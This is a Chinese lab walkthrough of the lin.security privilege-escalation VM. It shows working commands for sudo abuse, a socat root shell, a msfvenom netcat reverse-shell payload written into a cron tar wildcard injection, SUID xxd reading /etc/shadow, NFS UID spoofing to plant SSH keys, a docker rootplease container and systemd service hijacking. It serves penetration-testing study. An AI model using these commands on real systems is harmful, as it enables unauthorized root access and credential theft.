lin.security提权靶场

基础配置

假如没有权限修改的话请完成任意一个提权操作之后进行提权修改。
用户名密码:bob/secret

#安装与配置
1.修改默认键盘布局[默认不是美式键盘]
sudo awk 'BEGIN {system("/bin/sh")}'
[修改前\"符号是shift+2]

vim /etc/default/keyboard
[将XKBLAYOUT改的值为us]

setupcon

2.配置网卡[Ubuntu 18通过netplan设置网络]
vim /etc/netplan/50-cloud-init.yaml
[将enp0s3改为ens33]

netplan apply

sudo 提权

sudo权限简介

sudo权限则是root把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于linux来说一切皆是文件,所以系统命令也是一个文件。

sudo提权步骤

  1. 查看支持root权限的命令:

Pasted image 20220415103320.png

  1. 可以发现当前的用户bob存在很多支持sudo权限的命令,利用这些命令可以简单直接提升到root权限。如:/bin/ash,/bin/bash,/bin/sh等,由于支持的命令太多了,这里就只利用/bin/ash,/bin/bash,/bin/sh命令进行提权演示。

Pasted image 20220415103320.png

  1. 获取密码进行提权
    用户密码哈希存储在/etc/shadow文件中,但是这个文件只能由root用户进行查看,普通用户不能查看。
    普通用户能查看的是/etc/passwd文件,该文件的第二列即为当前行用户的密码,如果是x的话就表明该行密码哈希存储在/etc/passwd中。
    查看/etc/passwd文件
    Pasted image 20220415103129.png
  2. 发现由一个root权限的insecurity账户的密码存储在与/etc/passwd中,所以我们需要进行解密,解密网站是https://www.somd5.com
    Pasted image 20220415103129.png
  3. 根据账号密码进行登录,发现登录成功,并且是root权限的。需要注意的是如果前期没有配置键盘,在输入@符号的时候,需要注意的是,键盘上的@符号输入到靶场中是否是真的@符号,我自己是输入Enter这边这个'"键时才是@符号。
    Pasted image 20220415103129.png
  4. 此时是roor权限,我们可以查看/etc/shadow
    Pasted image 20220415103129.png
  5. 当然还能通过sudo man /etc/shadow来进行查看/etc/shadow
    Pasted image 20220415103129.png
  6. 还可以通过taskset 1 /bin/bash -p 之后查看/etc/shadow
    Pasted image 20220415103129.png

对于这些密码,我们可以使用john命令进行爆破密码。

socat提权

socat提权步骤

  1. 首先需要建立一个端口的shell
sudo socat tcp-listen:2022,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane

Pasted image 20220415103129.png

  1. 然后监听前面建立的端口
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:2022
  1. 可以成功提权成功。
    Pasted image 20220415103129.png

敏感隐藏文件

隐藏文件提权步骤

  1. find查找所有隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

Pasted image 20220415103129.png

  1. 发现有存在一个疑似密码的文件/home/susan/.secret,进行查看,发现是一个susan用户的密码MySuperS3cretValue!
    Pasted image 20220415103129.png
  2. 登录之后,发现很可惜,不是root权限的用户,但是下面会用到。
    Pasted image 20220415103129.png

crontab定时任务

crontab定时任务提权步骤

  1. 查看定时任务cat /etc/crontab
    Pasted image 20220415103129.png
  2. kali上使用msfvenom生成payload
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.152 lport=6666 R
  1. 生成的payload是
mkfifo /tmp/sjvuom; nc 127.0.0.1 6666 0</tmp/sjvuom | /bin/sh >/tmp/sjvuom 2>&1; rm /tmp/sjvuom
  1. 注意:其中的lhost、lport并不是kali的ip地址和端口,而是靶场的ip地址和端口。
    Pasted image 20220415103129.png
  2. 在靶机中将运行生成的payload写入到shell.sh中并且赋予执行的权限
echo "mkfifo /tmp/sjvuom; nc 127.0.0.1 6666 0</tmp/sjvuom | /bin/sh >/tmp/sjvuom 2>&1; rm /tmp/sjvuom" > shell.sh && chmod +x shell.sh`

Pasted image 20220415103129.png

  1. 还需要生成--checkpoint-action=exec=sh shell.sh--checkpoint=1文件
#--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。

echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"

Pasted image 20220415103129.png

  1. 在靶机监听6666端口,经过一段的时间等待过后,成功得到了反弹的shell
nv -lvvp 6666

Pasted image 20220415103129.png

SUID提权

SUID提权简介

SUID:是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限。

SUID提权步骤

  1. 使用find命令快速查找所有suid文件
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
  1. 发现存在xxd。xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权。
    Pasted image 20220415103129.png
  2. 查看所示组的用户cat /etc/group | grep itservices ,发现所属组的用户是susan
    Pasted image 20220415103129.png
  3. 结合第四点得到的susan密码,进行登录,查看当前的权限,并且尝试能否直接读取/etc/shadow这个只能由root权限读取的文件,发现读取失败。
    Pasted image 20220415103129.png
  4. 使用xxd命令进行查看/etc/shdow文件,可以发现查看成功
    Pasted image 20220415103129.png

NFS服务低权限访问

NFS服务低权限访问步骤

  1. 使用nmap工具扫描靶场ipnmap 192.168.1.152 -sT -T4,发现存在nfs端口,nfs服务允许计算机之间通过tcp/ip网络共享资源,就像访问本地文件一样。
    Pasted image 20220415103129.png
  2. 查看可以访问的nfs目录
    Pasted image 20220415103129.png
  3. 挂载peter home目录
    Pasted image 20220415103129.png
  4. 在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。
 groupadd -g 1005 peter
 adduser peter -uid 1001 -gid 1005

Pasted image 20220415103129.png

  1. 切换用户,此时我们有了写入文件的权限
    Pasted image 20220415103129.png
一直复制以下命令即可,一直按回车

#[攻击机]ssh-keygen生成公私钥对
ssh-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh

#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys

#设置权限
peter@kali:/mnt/peter/ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys

Pasted image 20220415103129.png

  1. docker组提权
    查看当前的peter组,发现是docker组
    Pasted image 20220415103129.png
    查看docker版本,发现是18.03.1的,该版本存在提权漏洞
注意:最下面的那条命令执行后需要一定的下载时间
docker --version
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Pasted image 20220415103129.png

  1. systemd配置提权
    查看peter用户的systemd配置,发现peter这个用户拥有debug.service文件,发现拥有读写权限。
    Pasted image 20220415103129.png
  2. 查看debug.service文件。
    Pasted image 20220415103129.png
  3. ExecStart为/root/debug,这是一个二进制服务并且该服务以root身份运行。
    使用一个类似ssh可以sudo执行的方法。 让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限。
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
不知道哪里出错了,这条语句执行完之后就提示没有权限,然后换成在kali里面用ssh连接之后再执行该命令就可以了

Pasted image 20220415103129.png

  1. 修改debug.service文件ExecStart来调用我们的脚本。
    Pasted image 20220415103129.png
  2. 重启服务,允许上面生成的脚本./systemdbash -p,发现提权成功
    Pasted image 20220415103129.png
  3. 还可以直接通过ssh登录root用户
peter@linsecurity:~$ echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > systemdexpl.sh

Pasted image 20220415103129.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值